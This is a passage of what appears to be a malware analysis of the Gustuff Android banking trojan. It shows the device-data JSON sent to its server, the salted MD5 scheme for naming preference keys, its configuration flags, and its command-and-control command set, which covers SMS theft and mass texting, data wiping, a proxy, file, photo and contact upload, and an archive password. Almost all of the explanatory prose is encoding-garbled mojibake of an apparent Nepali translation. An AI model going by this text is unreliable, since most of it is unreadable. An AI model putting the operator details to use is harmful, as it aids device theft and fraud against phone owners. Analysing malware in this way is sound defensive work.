            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

рдХрдиреНрдлрд┐рдЧрд░реЗрд╕рди рдбрд╛рдЯрд╛ рднрдгреНрдбрд╛рд░рдг рдЧрд░реНрджреИ

Gustuff рдПрдХ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рдлрд╛рдЗрд▓рдорд╛ рд╕рдЮреНрдЪрд╛рд▓рди рдорд╣рддреНрддреНрд╡рдкреВрд░реНрдг рдЬрд╛рдирдХрд╛рд░реА рднрдгреНрдбрд╛рд░рдг рдЧрд░реНрджрдЫред рдлрд╛рдЗрд▓рдХреЛ рдирд╛рдо, рд╕рд╛рдереИ рдпрд╕рдорд╛ рднрдПрдХрд╛ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрдХреЛ рдирд╛рдо, рд╕реНрдЯреНрд░рд┐рдЩрдмрд╛рдЯ MD5 рдпреЛрдЧ рдЧрдгрдирд╛ рдЧрд░реНрдиреЗ рдкрд░рд┐рдгрд╛рдо рд╣реЛред 15413090667214.6.1<%name%>рдХрд╣рд╛рдБ <% рдирд╛рдо%> - рдкреНрд░рд╛рд░рдореНрднрд┐рдХ рдирд╛рдо-рдорд╛рдиред рдирд╛рдо рдЙрддреНрдкрд╛рджрди рдкреНрд░рдХрд╛рд░реНрдпрдХреЛ рдкрд╛рдЗрдерди рд╡реНрдпрд╛рдЦреНрдпрд╛:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

рдирд┐рдореНрдирдорд╛ рд╣рд╛рдореА рдпрд╕рд▓рд╛рдИ рдХреЗ рд░реВрдкрдорд╛ рдмреБрдЭрд╛рдЙрдиреЗрдЫреМрдВ рдиреЗрдо рдЬреЗрдирд░реЗрдЯрд░ (рдЗрдирдкреБрдЯ).
рддреНрдпрд╕реИрд▓реЗ рдкрд╣рд┐рд▓реЛ рдлрд╛рдЗрд▓ рдирд╛рдо рд╣реЛ: nameGenerator("API_SERVER_LIST"), рдпрд╕рд▓реЗ рдирд┐рдореНрди рдирд╛рдорд╣рд░реВрд╕рдБрдЧ рдорд╛рдирд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ:

рдЪрд░ рдирд╛рдо рдореВрд▓реНрдп
nameGenerator("API_SERVER_LIST") рдПрд░реЗрдХреЛ рд░реВрдкрдорд╛ CnC рдареЗрдЧрд╛рдирд╛рд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫред
nameGenerator("API_SERVER_URL") CnC рдареЗрдЧрд╛рдирд╛ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫред
nameGenerator("SMS_UPLOAD") рдЭрдгреНрдбрд╛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрджрд┐ рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ рднрдиреЗ, CnC рдорд╛ SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрдБрдЫред
name Generator("SMS_ROOT_NUMBER") рдлреЛрди рдирдореНрдмрд░ рдЬрд╕рдорд╛ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рд▓реЗ рдкреНрд░рд╛рдкреНрдд рдЧрд░реЗрдХреЛ SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЗрдиреЗрдЫред рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд╢реВрдиреНрдп рдЫред
name Generator("SMS_ROOT_NUMBER_RESEND") рдЭрдгреНрдбрд╛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рдЦрд╛рд▓реА рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрджрд┐ рд╕реНрдерд╛рдкрд┐рдд рдЫ рднрдиреЗ, рдЬрдм рд╕рдВрдХреНрд░рдорд┐рдд рдЙрдкрдХрд░рдгрд▓реЗ рдПрд╕рдПрдордПрд╕ рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрдЫ, рдпреЛ рд░реВрдЯ рдирдореНрдмрд░рдорд╛ рдкрдард╛рдЗрдиреЗрдЫред
nameGenerator("DEFAULT_APP_SMS") рдЭрдгреНрдбрд╛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рдЦрд╛рд▓реА рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрджрд┐ рдпреЛ рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ рднрдиреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдЖрдЧрдорди SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрдиреЗрдЫред
nameGenerator("DEFAULT_ADMIN") рдЭрдгреНрдбрд╛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рдЦрд╛рд▓реА рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрджрд┐ рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ рднрдиреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╕рдБрдЧ рдкреНрд░рд╢рд╛рд╕рдХ рдЕрдзрд┐рдХрд╛рд░рд╣рд░реВ рдЫрдиреНред
nameGenerator("DEFAULT_ACCESSIBILITY") рдЭрдгреНрдбрд╛ рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд рд░реВрдкрдорд╛ рдЦрд╛рд▓реА рдЧрд░рд┐рдПрдХреЛ рдЫред рдпрджрд┐ рдЭрдгреНрдбрд╛ рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫ рднрдиреЗ, рдкрд╣реБрдБрдЪ рд╕реЗрд╡рд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрдиреЗ рд╕реЗрд╡рд╛ рдЪрд▓рд┐рд░рд╣реЗрдХреЛ рдЫред
nameGenerator("APPS_CONFIG") рдПрдХ JSON рд╡рд╕реНрддреБ рдЬрд╕рд▓реЗ рдХрд╛рд░реНрдпрд╣рд░реВрдХреЛ рд╕реВрдЪреА рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫ рдЬреБрди рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрдиреБрдкрд░реНрджрдЫ рдЬрдм рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╕рдБрдЧ рд╕рдореНрдмрдиреНрдзрд┐рдд рдкрд╣реБрдБрдЪ рдШрдЯрдирд╛ рдЯреНрд░рд┐рдЧрд░ рд╣реБрдиреНрдЫред
nameGenerator("APPS_INSTALLED") рдЙрдкрдХрд░рдгрдорд╛ рд╕реНрдерд╛рдкрд┐рдд рдЕрдиреБрдкреНрд░рдпреЛрдЧрд╣рд░реВрдХреЛ рд╕реВрдЪреА рднрдгреНрдбрд╛рд░рдг рдЧрд░реНрджрдЫред
nameGenerator("IS_FIST_RUN") рдЭрдгреНрдбрд╛ рдкрд╣рд┐рд▓реЛ рд╕реБрд░реБрдорд╛ рд░рд┐рд╕реЗрдЯ рдЧрд░рд┐рдПрдХреЛ рдЫред
nameGenerator("UNIQUE_ID") рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рд┐рдЪрд╛рдирдХрд░реНрддрд╛ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫред рдмреЛрдЯ рдкрд╣рд┐рд▓реЛ рдкрдЯрдХ рд▓рдиреНрдЪ рд╣реБрдБрджрд╛ рдЙрддреНрдкрдиреНрдиред

рд╕рд░реНрднрд░рдмрд╛рдЯ рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрдирдХрд╛ рд▓рд╛рдЧрд┐ рдореЛрдбреНрдпреБрд▓

рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдПрдиреНрдХреЛрдб рдЧрд░рд┐рдПрдХреЛ рдПрд░реЗрдХреЛ рд░реВрдкрдорд╛ CnC рд╕рд░реНрднрд░рд╣рд░реВрдХреЛ рдареЗрдЧрд╛рдирд╛рд╣рд░реВ рднрдгреНрдбрд╛рд░ рдЧрд░реНрджрдЫ рдмреЗрд╕ реиреиреи рд░реЗрдЦрд╛рд╣рд░реВред CnC рд╕рд░реНрднрд░рд╣рд░реВрдХреЛ рд╕реВрдЪреА рдЙрдкрдпреБрдХреНрдд рдЖрджреЗрд╢рдХреЛ рдкреНрд░рд╛рдкреНрддрд┐рдорд╛ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫ, рдЬрд╕рдорд╛ рдареЗрдЧрд╛рдирд╛рд╣рд░реВ рдкреНрд░рд╛рдердорд┐рдХрддрд╛ рдлрд╛рдЗрд▓рдорд╛ рднрдгреНрдбрд╛рд░ рдЧрд░рд┐рдиреЗрдЫред

рдЕрдиреБрд░реЛрдзрдХреЛ рдЬрд╡рд╛рдлрдорд╛, рд╕рд░реНрднрд░рд▓реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓рд╛рдИ рдЖрджреЗрд╢ рдкрдард╛рдЙрдБрдЫред рдпреЛ рдзреНрдпрд╛рди рджрд┐рди рд▓рд╛рдпрдХ рдЫ рдХрд┐ рдЖрджреЗрд╢ рд░ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВ JSON рдврд╛рдБрдЪрд╛рдорд╛ рдкреНрд░рд╕реНрддреБрдд рдЧрд░рд┐рдПрдХрд╛ рдЫрдиреНред рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдирд┐рдореНрди рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрди рд╕рдХреНрдЫ:

рдЯреЛрд▓реА рд╡рд┐рд╡рд░рдг
рдЕрдЧрд╛рдбрд┐ рд╕реБрд░реБ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ CnC рд╕рд░реНрднрд░рдорд╛ рдкрдард╛рдЙрди рд╕реБрд░реБ рдЧрд░реНрдиреБрд╣реЛрд╕реНред
рдЕрдЧрд╛рдбрд┐ рд░реЛрдХреНрдиреБрд╣реЛрд╕реН рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдмрд╛рдЯ рдкреНрд░рд╛рдкреНрдд рднрдПрдХрд╛ SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ CnC рд╕рд░реНрднрд░рдорд╛ рдкрдард╛рдЙрди рд░реЛрдХреНрдиреБрд╣реЛрд╕реНред
ussdRun USSD рдЕрдиреБрд░реЛрдз рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрдиреБрд╣реЛрд╕реНред рддрдкрд╛рдИрд▓реЗ USSD рдЕрдиреБрд░реЛрдз рдЧрд░реНрдиреБ рдкрд░реНрдиреЗ рдирдореНрдмрд░ JSON рдлрд┐рд▓реНрдб "рдирдореНрдмрд░" рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫред
рдПрд╕рдПрдордПрд╕ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН рдПрдЙрдЯрд╛ рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН (рдЖрд╡рд╢реНрдпрдХ рднрдПрдорд╛, рд╕рдиреНрджреЗрд╢рд▓рд╛рдИ рднрд╛рдЧрд╣рд░реВрдорд╛ "рд╡рд┐рднрд╛рдЬрд┐рдд" рдЧрд░рд┐рдПрдХреЛ рдЫ)ред рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛, рдЖрджреЗрд╢рд▓реЗ "to" - рдЧрдиреНрддрд╡реНрдп рдирдореНрдмрд░ рд░ "body" - рд╕рдиреНрджреЗрд╢рдХреЛ рдореБрдЦреНрдп рднрд╛рдЧрд╣рд░реВ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрдиреЗ JSON рд╡рд╕реНрддреБ рд▓рд┐рдиреНрдЫред
SmsAb рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдХреЛ рд╕рдореНрдкрд░реНрдХ рд╕реВрдЪреАрдорд╛ рд░рд╣реЗрдХрд╛ рд╕рдмреИрд▓рд╛рдИ рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН (рдЖрд╡рд╢реНрдпрдХ рднрдПрдорд╛, рд╕рдиреНрджреЗрд╢рд▓рд╛рдИ рднрд╛рдЧрд╣рд░реВрдорд╛ рд╡рд┐рднрд╛рдЬрди рдЧрд░рд┐рдПрдХреЛ рдЫ)ред рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрдиреЗ рдмреАрдЪрдХреЛ рдЕрдиреНрддрд░рд╛рд▓ 10 рд╕реЗрдХреЗрдиреНрдб рд╣реЛред рд╕рдиреНрджреЗрд╢рдХреЛ рдореБрдЦреНрдп рднрд╛рдЧ JSON рдлрд┐рд▓реНрдб "body" рдорд╛ рдЫред
SmsMass рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН рдЖрджреЗрд╢ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╕рдореНрдкрд░реНрдХрд╣рд░реВрд▓рд╛рдИ рдПрд╕рдПрдордПрд╕ рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН (рдЖрд╡рд╢реНрдпрдХ рднрдПрдорд╛, рд╕рдиреНрджреЗрд╢ "рд╡рд┐рднрд╛рдЬрди" рднрд╛рдЧрд╣рд░реВрдорд╛)ред рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрдиреЗ рдмреАрдЪрдХреЛ рдЕрдиреНрддрд░рд╛рд▓ 10 рд╕реЗрдХреЗрдиреНрдб рд╣реЛред рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛, рдЖрджреЗрд╢рд▓реЗ JSON array ("sms" рдлрд┐рд▓реНрдб) рд▓рд┐рдиреНрдЫ, рдЬрд╕рдХрд╛ рддрддреНрд╡рд╣рд░реВрд▓реЗ "to" - рдЧрдиреНрддрд╡реНрдп рдирдореНрдмрд░ рд░ "body" - рд╕рдиреНрджреЗрд╢рдХреЛ рдореБрдЦреНрдп рднрд╛рдЧ рд╕рдорд╛рд╡реЗрд╢ рдЧрд░реНрджрдЫред
рд╕рд░реНрднрд░ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реН рдпреЛ рдЖрджреЗрд╢рд▓реЗ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдХреБрдЮреНрдЬреА "url" рд╕рдБрдЧ рдорд╛рди рд▓рд┐рди рд╕рдХреНрдЫ - рддреНрдпрд╕рдкрдЫрд┐ рдмреЛрдЯрд▓реЗ nameGenerator ("SERVER_URL"), рд╡рд╛ "array" рдХреЛ рдорд╛рди рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреЗрдЫ - рддреНрдпрд╕рдкрдЫрд┐ рдмреЛрдЯрд▓реЗ array рд▓рд╛рдИ nameGenerator ("API_SERVER_LIST") рдорд╛ рд▓реЗрдЦреНрдиреЗрдЫред рдпрд╕рд░реА, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ CnC рд╕рд░реНрднрд░рд╣рд░реВрдХреЛ рдареЗрдЧрд╛рдирд╛ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрджрдЫред
рдкреНрд░рд╢рд╛рд╕рдХ рдирдореНрдмрд░ рдЖрджреЗрд╢ рд░реВрдЯ рдирдореНрдмрд░ рд╕рдВрдЧ рдХрд╛рдо рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫред рдЖрджреЗрд╢рд▓реЗ рдирд┐рдореНрди рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВрд╕рдБрдЧ JSON рд╡рд╕реНрддреБ рд╕реНрд╡реАрдХрд╛рд░ рдЧрд░реНрджрдЫ: "рдирдореНрдмрд░" тАФ рдкреНрд░рд╛рдкреНрдд рдорд╛рдирдорд╛ рдирд╛рдо рдЬреЗрдиреЗрд░реЗрдЯрд░ ("ROOT_NUMBER") рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реН, "рдкреБрдирдГ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реН" тАФ рдирд╛рдо рдЬреЗрдиреЗрд░реЗрдЯрд░ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реН ("SMS_ROOT_NUMBER_RESEND"), "sendId" - nameGenerator ("ROOT_NUMBER" рдорд╛ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред ) рдЕрджреНрд╡рд┐рддреАрдп рдЖрдИрдбреАред
рдЕрдкрдбреЗрдЯ рдЬрд╛рдирдХрд╛рд░реА рд╕рд░реНрднрд░рдорд╛ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдХреЛ рдмрд╛рд░реЗрдорд╛ рдЬрд╛рдирдХрд╛рд░реА рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред
рдбреЗрдЯрд╛ рд╡рд╛рдЗрдк рдЧрд░реНрдиреБрд╣реЛрд╕реН рдЖрджреЗрд╢ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдбрд╛рдЯрд╛ рдореЗрдЯрд╛рдЙрди рдЙрджреНрджреЗрд╢реНрдп рдЫред рдХреБрди рдирд╛рдордорд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╕реБрд░реБ рдЧрд░рд┐рдПрдХреЛ рдерд┐рдпреЛ рднрдиреНрдиреЗ рдЖрдзрд╛рд░рдорд╛, рдпрд╛ рдд рдпрдиреНрддреНрд░ рд░рд┐рдмреБрдЯ (рдкреНрд░рд╛рдердорд┐рдХ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛) рд╕рдВрдЧ рдбрд╛рдЯрд╛ рдкреВрд░реНрдг рд░реВрдкрдорд╛ рдореЗрдЯрд╛рдЗрдиреНрдЫ, рд╡рд╛ рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛ рдбреЗрдЯрд╛ рдорд╛рддреНрд░ рдореЗрдЯрд╛рдЗрдиреНрдЫ (рд╕реЗрдХреЗрдиреНрдбрд░реА рдкреНрд░рдпреЛрдЧрдХрд░реНрддрд╛)ред
рдореЛрдЬрд╛ рд╕реБрд░реБ рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рд╕реБрд░реБ рдЧрд░реНрдиреБрд╣реЛрд╕реНред рдореЛрдбреНрдпреБрд▓ рдХреЛ рд╕рдЮреНрдЪрд╛рд▓рди рдПрдХ рдЕрд▓рдЧ рдЦрдгреНрдб рдорд╛ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рдЫред
рдореЛрдЬрд╛ рд╕реНрдЯрдк рдкреНрд░реЛрдХреНрд╕реА рдореЛрдбреНрдпреБрд▓ рд░реЛрдХреНрдиреБрд╣реЛрд╕реНред
рд▓рд┐рдЩреНрдХ рдЦреЛрд▓реНрдиреБрд╣реЛрд╕реН рд▓рд┐рдЩреНрдХ рдкрдЫреНрдпрд╛рдЙрдиреБрд╣реЛрд╕реНред рд▓рд┐рдЩреНрдХ "url" рдХреБрдЮреНрдЬреА рдЕрдиреНрддрд░реНрдЧрдд JSON рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдорд╛ рдЕрд╡рд╕реНрдерд┐рдд рдЫред рд▓рд┐рдЩреНрдХ рдЦреЛрд▓реНрди "android.intent.action.VIEW" рдкреНрд░рдпреЛрдЧ рдЧрд░рд┐рдиреНрдЫред
рд╕рдмреИSms рдЕрдкрд▓реЛрдб рдЧрд░реНрдиреБрд╣реЛрд╕реН рд╕рд░реНрднрд░рдорд╛ рдЙрдкрдХрд░рдг рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рдкреНрдд рд╕рдмреИ SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред
рд╕рдмреИ рдлреЛрдЯреЛрд╣рд░реВ рдЕрдкрд▓реЛрдб рдЧрд░реНрдиреБрд╣реЛрд╕реН рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдмрд╛рдЯ URL рдорд╛ рдЫрд╡рд┐рд╣рд░реВ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред URL рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдБрдЫред
рдЕрдкрд▓реЛрдб рдлрд╛рдЗрд▓ рд╕рдВрдХреНрд░рдорд┐рдд рдпрдиреНрддреНрд░рдмрд╛рдЯ URL рдорд╛ рдлрд╛рдЗрд▓ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред URL рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдБрдЫред
рдлреЛрди рдирдореНрдмрд░рд╣рд░реВ рдЕрдкрд▓реЛрдб рдЧрд░реНрдиреБрд╣реЛрд╕реН рддрдкрд╛рдИрдВрдХреЛ рд╕рдореНрдкрд░реНрдХ рд╕реВрдЪреАрдмрд╛рдЯ рд╕рд░реНрднрд░рдорд╛ рдлреЛрди рдирдореНрдмрд░рд╣рд░реВ рдкрдард╛рдЙрдиреБрд╣реЛрд╕реНред рдпрджрд┐ рдХреБрдЮреНрдЬреА "ab" рдХреЛ рд╕рд╛рде JSON рд╡рд╕реНрддреБ рдорд╛рди рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рд╛рдкреНрдд рднрдпреЛ рднрдиреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ рдлреЛрди рдмреБрдХрдмрд╛рдЯ рд╕рдореНрдкрд░реНрдХрд╣рд░реВрдХреЛ рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджрдЫред рдпрджрд┐ рдХреБрдЮреНрдЬреА "sms" рднрдПрдХреЛ JSON рд╡рд╕реНрддреБ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдкреНрд░рд╛рдкреНрдд рднрдпреЛ рднрдиреЗ, рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ SMS рд╕рдиреНрджреЗрд╢рд╣рд░реВ рдкреНрд░реЗрд╖рдХрд╣рд░реВрдмрд╛рдЯ рд╕рдореНрдкрд░реНрдХрд╣рд░реВрдХреЛ рд╕реВрдЪреА рдкрдвреНрдЫред
рд╕рдЩреНрдЧреНрд░рд╣ рдкрд░рд┐рд╡рд░реНрддрди рдЧрд░реНрдиреБрд╣реЛрд╕реН рдЕрдиреБрдкреНрд░рдпреЛрдЧрд▓реЗ "url" рдХреБрдЮреНрдЬреА рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдиреЗ рдареЗрдЧрд╛рдирд╛рдмрд╛рдЯ рдлрд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрджрдЫред рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░рд┐рдПрдХреЛ рдлрд╛рдЗрд▓ "archive.zip" рдирд╛рдордХреЛ рд╕рд╛рде рдмрдЪрдд рдЧрд░рд┐рдПрдХреЛ рдЫред рддреНрдпрд╕рдкрдЫрд┐ рдПрдкрд▓реЗ рдлрд╛рдЗрд▓рд▓рд╛рдИ рдЕрдирдЬрд┐рдк рдЧрд░реНрдиреЗрдЫ, рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдкрдорд╛ "b5jXh37gxgHBrZhQ4j3D" рдЕрднрд┐рд▓реЗрдЦ рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ред рдЕрдирдЬрд┐рдк рдЧрд░рд┐рдПрдХрд╛ рдлрд╛рдЗрд▓рд╣рд░реВ [рдмрд╛рд╣реНрдп рднрдгреНрдбрд╛рд░рдг]/hgps рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдорд╛ рдмрдЪрдд рдЧрд░рд┐рдПрдХрд╛ рдЫрдиреНред рдпрд╕ рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдорд╛, рдПрдкреНрд▓рд┐рдХреЗрд╕рдирд▓реЗ рд╡реЗрдм рдирдХреНрдХрд▓реА рднрдгреНрдбрд╛рд░ рдЧрд░реНрджрдЫ (рддрд▓ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ)ред
рд╕реНрдЯрдХ рдЖрджреЗрд╢рд▓рд╛рдИ рдХрд╛рд░реНрдп рд╕реЗрд╡рд╛рд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрди рдбрд┐рдЬрд╛рдЗрди рдЧрд░рд┐рдПрдХреЛ рдЫ, рдЬреБрди рдЫреБрдЯреНрдЯреИ рдЦрдгреНрдбрдорд╛ рд╡рд░реНрдгрди рдЧрд░рд┐рдПрдХреЛ рдЫред
рдкрд░реАрдХреНрд╖рдг рдХреЗрд╣реА рдирдЧрд░реНрдиреЗ ред
рдбрд╛рдЙрдирд▓реЛрдб рдЖрджреЗрд╢ рд░рд┐рдореЛрдЯ рд╕рд░реНрднрд░рдмрд╛рдЯ рдлрд╛рдЗрд▓ рдбрд╛рдЙрдирд▓реЛрдб рдЧрд░реНрди рд░ рдпрд╕рд▓рд╛рдИ "рдбрд╛рдЙрдирд▓реЛрдбрд╣рд░реВ" рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдорд╛ рдмрдЪрдд рдЧрд░реНрдирдХреЛ рд▓рд╛рдЧрд┐ рд╣реЛред URL рд░ рдлрд╛рдЗрд▓рдХреЛ рдирд╛рдо рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдХреЛ рд░реВрдкрдорд╛ рдЖрдЙрдБрдЫ, JSON рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░ рд╡рд╕реНрддреБрдорд╛ рдХреНрд░рдорд╢рдГ "url" рд░ "fileName"ред
рд╣рдЯрд╛рдЙрди "рдбрд╛рдЙрдирд▓реЛрдбрд╣рд░реВ" рдбрд╛рдЗрд░реЗрдХреНрдЯрд░реАрдмрд╛рдЯ рдлрд╛рдЗрд▓ рд╣рдЯрд╛рдЙрдБрдЫред рдлрд╛рдЗрд▓ рдирд╛рдо "рдлрд╛рдЗрд▓ рдирд╛рдо" рдХреБрдЮреНрдЬреАрд╕рдБрдЧ JSON рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рдорд╛ рдЖрдЙрдБрдЫред рдорд╛рдирдХ рдлрд╛рдЗрд▓ рдирд╛рдо "tmp.apk" рд╣реЛред
